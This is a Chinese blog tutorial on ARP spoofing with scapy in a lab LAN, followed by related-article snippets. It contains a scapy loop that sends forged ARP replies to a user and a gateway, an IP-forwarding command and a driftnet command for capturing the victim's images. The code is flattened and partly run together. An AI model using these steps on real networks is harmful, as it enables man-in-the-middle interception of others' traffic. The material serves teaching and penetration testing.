【技术分享】使用scapy进行ARP攻击

一颗小胡椒2022-06-30 09:59:11

ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。因此,当局域网中的某台机器B向A发送一个自己伪造的ARP应答,而如果这个应答是B冒充C伪造来的,即IP地址为C的IP,而MAC地址是伪造的,则当A接收到B伪造的ARP应答后,就会更新本地的ARP缓存,这样在A看来C的IP地址没有变,而它的MAC地址已经不是原来那个了。

通过ARP欺骗可以对内网数据进行嗅探,在内网渗透中往往也是重要的一部分。

实验环境如下

无线网关:

IP:192.168.199.1

MAC: d4-ee-07-67-40-68

普通用户:

IP:192.168.199.213

MAC:5c:93:a2:fe:29:e3

攻击者:

IP:192.168.199.229

MAC:30-b4-9e-67-25-47

实验环境图如下:

一、ARP 欺骗原理

攻击者通过构造两种ARP响应包,分别欺骗普通用户和网关路由器。

第一种ARP包中源IP为网关IP(192.168.199.1),源MAC为攻击者MAC(30:b4:9e:67:25:47),目的IP为普通用户IP(192.168.199.213),目的MAC为普通用户MAC(5c:93:a2:fe:29:e3)。当用户收到此ARP报文则将ARP表中网关的MAC地址更新为攻击者的MAC(30:b4:9e:67:25:47)。当普通转发数据时数据则会发向攻击者的PC上,由攻击者进行数据转发。

第二种ARP包中源IP为普通用户IP(192.168.199.213),但源MAC为攻击者MAC(30:b4:9e:67:25:47),目的IP为网关IP(192.168.199.1),目的MAC为网关MAC(d4:ee:07:67:40:68)。网关收到此ARP将ARP表中普通用户的MAC更新为攻击者MAC(30:b4:9e:67:25:47)。

实现代码如下:

`def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

poison_target=ARP()
poison_target.op=2poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac
poison_gateway=ARP()
poison_gateway.op=2poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_macprint "[*] Beginning the ARP poison.[CTRL-C to stop]"while True:    try:
        send(poison_target)
        send(poison_gateway)        print "send sucess!"
        time.sleep(2)    except KeyboardInterrupt:
        restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished."return

通过不间断的发送这两种ARP报文,攻击者以中间人的形式窃取数据报文。

实验前普通用户PC机中ARP表如下:

实验开始前,需打开攻击者的路由转发功能,若未开启转发攻击,普通用户则无法正常访问外网。

echo 1 > /proc/sys/net/ipv4/ip_forward

运行脚本:

查看普通用户的ARP表项:

二、进行数据包抓取

使用scapy抓包代码如下:

成功进行了ARP欺骗,访问外网,能正常访问

在攻击者PC上抓取的数据包,并用wireshark打开如下:

三、图片浏览

当被攻击用户同浏览器访问图片文件时,可搭配driftnet进行图片抓取

driftnet -i wlan0

抓取图片如下:

macarp
本作品采用《CC 协议》,转载必须注明作者和本文链接
数年前,农业银行在总行层面规划和建设了VXLAN DCI(Datacenter Interconnect)网络核心,将内外网Fabric资源池通过DCI高速互联,并采用原创的多段式VXLAN和两级外部网络技术,实现跨Fabric的逻辑分区、资源调度及服务链功能,为云原生应用提供超大规模的网络资源池。该架构业已成为大型金融数据中心网络的最佳实践和事实标准,被同业广泛采用。
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候,就会对本地的ARP缓存进行更新,将应答中的IP和MAC地址存储在ARP缓存中。通过ARP欺骗可以对内网数据进行嗅探,在内网渗透中往往也是重要的一部分。网关收到此ARPARP表中普通用户的MAC更新为攻击者MAC
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
三层交换机转发基于目标 IP 地址,数据包的目的地是定义的下一跳,三层交换机遵循路由算法。同样,当 PC2 在 ARP 响应消息中发送其 MAC 地址时,交换机会收集 PC2 的 MAC 地址并将其存储到自己的 MAC 地址表中。当数据帧发生冲突,设备必须重新发送数据。冲突对网络性能有严重的负面影响,因此绝对要避免冲突。需要注意的是,二层交换机只能允许主机设备与同一个VLAN的主机通信。中继端口的智能程度足以承受多个VLAN的流量。
三层交换机转发基于目标 IP 地址,数据包的目的地是定义的下一跳,三层交换机遵循路由算法。同样,当 PC2 在 ARP 响应消息中发送其 MAC 地址时,交换机会收集 PC2 的 MAC 地址并将其存储到自己的 MAC 地址表中。当数据帧发生冲突,设备必须重新发送数据。冲突对网络性能有严重的负面影响,因此绝对要避免冲突。需要注意的是,二层交换机只能允许主机设备与同一个VLAN的主机通信。中继端口的智能程度足以承受多个VLAN的流量。
7 张图带你搞懂二层和三层交换机之间的区别
IP地址冲突是指在局域网中某主机配置了与其他主机相同的IP地址导致原主机无法正常处理业务,这种信息故障事件对于实时交易业务尤其是金融行业业务会带来严重影响,快速检测网络中IP地址冲突并定位至关重要。
最终ARP请求会被转发到同一网络中的所有客户机上。ARP广播,是在需要与其他主机通信时发出的。IEEE 802.1Q协议规定,在以太网数据帧的目的MAC地址和源MAC地址字段之后、协议类型字段之前加入4个字节的VLAN标签,用以标识VLAN信息。表示帧类型,取值为0x8100时表示IEEE 802.1Q的VLAN数据帧。PRI3bitPriority,表示数据帧的802.1p优先级。CFI取值为0表示MAC地址以标准格式进行封装,为1表示以非标准格式封装。为了提高处理效率,设备内部处理的数据帧一律都是Tagged帧。
一颗小胡椒
暂无描述